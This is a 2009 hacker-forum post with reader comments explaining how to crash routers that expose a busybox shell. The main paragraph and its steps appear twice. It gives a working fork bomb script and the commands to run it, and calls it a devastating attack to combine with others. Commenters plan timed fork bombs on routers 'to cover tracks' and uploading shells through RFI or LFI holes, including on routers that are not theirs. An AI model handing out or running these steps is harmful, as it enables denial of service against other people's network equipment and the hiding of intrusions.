Router LogicBombs
This is not a tut as such, more of a note and i take no credit for making the bomb as its in the public domain.
If you go back to the oldskool days people was using fork bombs to crash a server or host. Now as many routers i have come across have a basic busybox shell with /bin/sh enabled. You are able to execute a forkbomb on the router which will make the router unresponsive. This only requires a reboot to fix but can be a devestating attack used in conjunction with other attacks.
just create a file using 'cat > fork.sh' and paste the following lines into the file.
#/bin/sh
$0 & $0
next press 'ctrl-c' to exit and 'chmod 700 fork.sh' to make the script executable. Then simply run the script using ./fork.sh
job done.
If you go back to the oldskool days people was using fork bombs to crash a server or host. Now as many routers i have come across have a basic busybox shell with /bin/sh enabled. You are able to execute a forkbomb on the router which will make the router unresponsive. This only requires a reboot to fix but can be a devestating attack used in conjunction with other attacks.
just create a file using 'cat > fork.sh' and paste the following lines into the file.
#/bin/sh
$0 & $0
next press 'ctrl-c' to exit and 'chmod 700 fork.sh' to make the script executable. Then simply run the script using ./fork.sh
job done.
Add a Comment
-
Comment by Nova on February 4, 2009 at 2:53am - im in the process of using nohup and cron to make timeforkmbombs lol on routers to cover tracks. Ill let u know how it goes.
-
Comment by Anarchy Angel on January 29, 2009 at 3:07pm - i would agree that it would not work in ALL cases but if all fails you should still be able to make a HTML page with some JS. i know nothing big but it would be a nice little bit of fun :) even more so if its not your router lol
-
Comment by Nova on January 29, 2009 at 1:47pm
- hmm depends on the router. You can modify the built in web site but i dont think u have access to php or asp in some cases.
-
Comment by Anarchy Angel on January 29, 2009 at 4:07am
- Could we do the same thing by uploading a shell to a router that only has a web UI?? Assuming its open to some kind of exploit like shell uploading "duh lol" or RFI, LFI blah blah. Im sure you can do the ping one that way.
© 2009 Created by pdp on Ning. Create a Ning Network!
You need to be a member of House of Hackers to add comments!
Join this Ning Network